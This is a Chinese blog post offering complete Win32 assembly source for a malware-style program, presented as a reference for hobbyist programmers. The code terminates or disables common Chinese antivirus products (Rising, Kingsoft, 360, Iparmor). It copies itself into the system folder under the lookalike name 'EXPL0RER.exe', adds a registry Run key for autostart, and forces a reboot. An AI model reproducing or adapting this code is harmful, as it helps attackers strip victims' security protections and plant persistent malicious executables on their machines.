Win32汇编关闭防护软件

 最近一直在忙于毕业设计的事,没多少时间写东西,好不容易抽点空写了下面的代码,希望能给喜欢编程的朋友做个参考。
以下代码主要实现的是关闭常用杀毒软件功能(现在的流行病毒和木马一般都带有这样的功能),其次是修改注册表、自我复制、重启系统。
由于很多杀毒软件都使用了HOOK OpenProcess()方法,所以瑞星采用了向窗口发消息的形式关闭监控,而卡巴的消息通知码未能找到,所以本代码无法关闭卡巴(还望高手指点)。
代码中使用的ExitWindowsEx()函数的参数已经说明,有兴趣的朋友根据自己需要自作修改。
这种方式是我个人无聊乱写的,不知道是否还有更好的方法,还望请高手指点!

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .386
  .model flat, stdcall
  option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib
include  advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>      
  .data?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hInstance dd   ?
ovi  OSVERSIONINFO  <>
tkp  TOKEN_PRIVILEGES <>
hToken  dd   ?
szSystemPath db   MAX_PATH dup (?) ;系统路径
szMyPath db   MAX_PATH dup (?) ;自身路径
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .const
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
szShut  db "SeShutdownPrivilege",0
szKeyAutoRun db "Software/Microsoft/Windows/CurrentVersion/Run",0
szFileName db "EXPL0RER.exe",0
szTitle  db "你好!",0
szDisposal db "无心温馨提示你!",0dh,0ah
  db "你今天心情好吗?",0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;安全软件进程相关
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szRsing  db "#32770",0  ;瑞星窗口类名
szAVP  db "AVP.exe",0  ;卡巴进程名(这里并不能关闭卡巴,只是写在这里,希望高手完成之)
szKAV  db "KAVStart.exe",0 ;金山进程名
sz360tray db "360Tray.exe",0  ;360进程名
szIparmor db "Iparmor.exe",0  ;木马克星进程名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>   
;代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .code   
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;获得调试权限
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Popedom proc
mov ovi.dwOSVersionInfoSize,sizeof ovi   
invoke GetVersionEx,addr ovi
   
.if ovi.dwPlatformId == VER_PLATFORM_WIN32_NT   
  invoke GetCurrentProcess   
  invoke OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES+TOKEN_QUERY,addr hToken   
  invoke LookupPrivilegeValue,NULL,addr szShut,addr tkp.Privileges[0].Luid   
  mov tkp.PrivilegeCount,1   
  mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED   
  invoke AdjustTokenPrivileges,hToken,FALSE,addr tkp,0,NULL,0   
.endif
ret
_Popedom endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;关闭瑞星监控
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CloseRsing proc
local @hWindows
local @szClassName[20]:byte
invoke GetForegroundWindow
invoke GetWindow,eax,GW_HWNDFIRST
.while eax
  mov ebx,eax
  invoke GetClassName,ebx,addr @szClassName,20
  invoke lstrcmpi,addr @szClassName,addr szRsing
  .if eax == 0
   invoke PostMessage,ebx,WM_COMMAND,40027,NULL
   invoke PostMessage,ebx,WM_COMMAND,2775,NULL
   invoke PostMessage,ebx,WM_COMMAND,32776,NULL  
  .endif
  invoke GetWindow,ebx,GW_HWNDNEXT
.endw
ret
_CloseRsing endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;扫描并关闭几个安全软件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CloseDefendsoftware proc
  local @stProcessROCESSENTRY32
  local @hSnapShot
  invoke RtlZeroMemory,addr @stProcess,sizeof @stProcess
  mov @stProcess.dwSize,sizeof @stProcess
  invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
  mov @hSnapShot,eax
  invoke Process32First,@hSnapShot,addr @stProcess
  .while eax
   lea esi,szAVP
   .while TRUE
    invoke lstrcmpi,addr @stProcess.szExeFile,esi
    .if eax == 0
     invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,@stProcess.th32ProcessID
     .if eax
      mov ebx,eax
      invoke TerminateProcess,ebx,-1
      invoke CloseHandle,ebx
      invoke Sleep,200
     .endif
    .endif
    @@:
    lodsb
    or al,al
    jnz @B
    .break .if ! byte ptr [esi+1]
   .endw
   invoke Process32Next,@hSnapShot,addr @stProcess
  .endw
  ret
_CloseDefendsoftware endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;拷贝自己到系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CopyMeToSystem proc uses ebx esi edi
  invoke GetSystemDirectory,addr szSystemPath,MAX_PATH ;获得系统目录
  ;>>>>>>目录最后加上"/"
  invoke lstrlen,addr szSystemPath
  lea ebx,szSystemPath
  add ebx,eax
  xor eax,eax
  mov al,'/'
  .if byte ptr [ebx-1] != al
   mov word ptr [ebx],ax
  .endif
  invoke lstrcat,addr szSystemPath,addr szFileName
  invoke GetModuleFileName,NULL,addr szMyPath,MAX_PATH  ;获得自己的当前目录
  invoke CopyFile,addr szMyPath,addr szSystemPath,FALSE  ;拷贝自身到系统路径
  ret
_CopyMeToSystem endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改注册表将自己设为开机自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegAmend proc
  local @hKey,@mValue
  local @szBuffer[MAX_PATH]:byte
  
  ;将自己设置为自启动/
  invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr szKeyAutoRun,addr @hKey
  .if eax == ERROR_SUCCESS
   invoke RegSetValueEx,@hKey,addr szFileName,NULL,REG_SZ,/
    addr szSystemPath,sizeof szSystemPath
  .endif
  ret
_RegAmend endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;关机
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Shutdown proc  
;ExitWindwosEx第一参数说明:
;EWX_REBOOT:系统重启
;EWX_SHUTDOWN:关机
;EWX_LOGOFF:注销
;EWX_POWEROFF:待机
invoke ExitWindowsEx,EWX_REBOOT,NULL
ret
_Shutdown endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke _Popedom  ;获得系统权限
invoke Sleep,500
invoke _CloseRsing  ;关闭瑞星监控
invoke _CloseDefendsoftware ;关闭几个常用安全软件
invoke Sleep,500
invoke _CopyMeToSystem
invoke _RegAmend
invoke MessageBox,NULL,addr szDisposal,addr szTitle,MB_YESNO
.if eax == IDYES
  ret
.endif
call _Shutdown
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值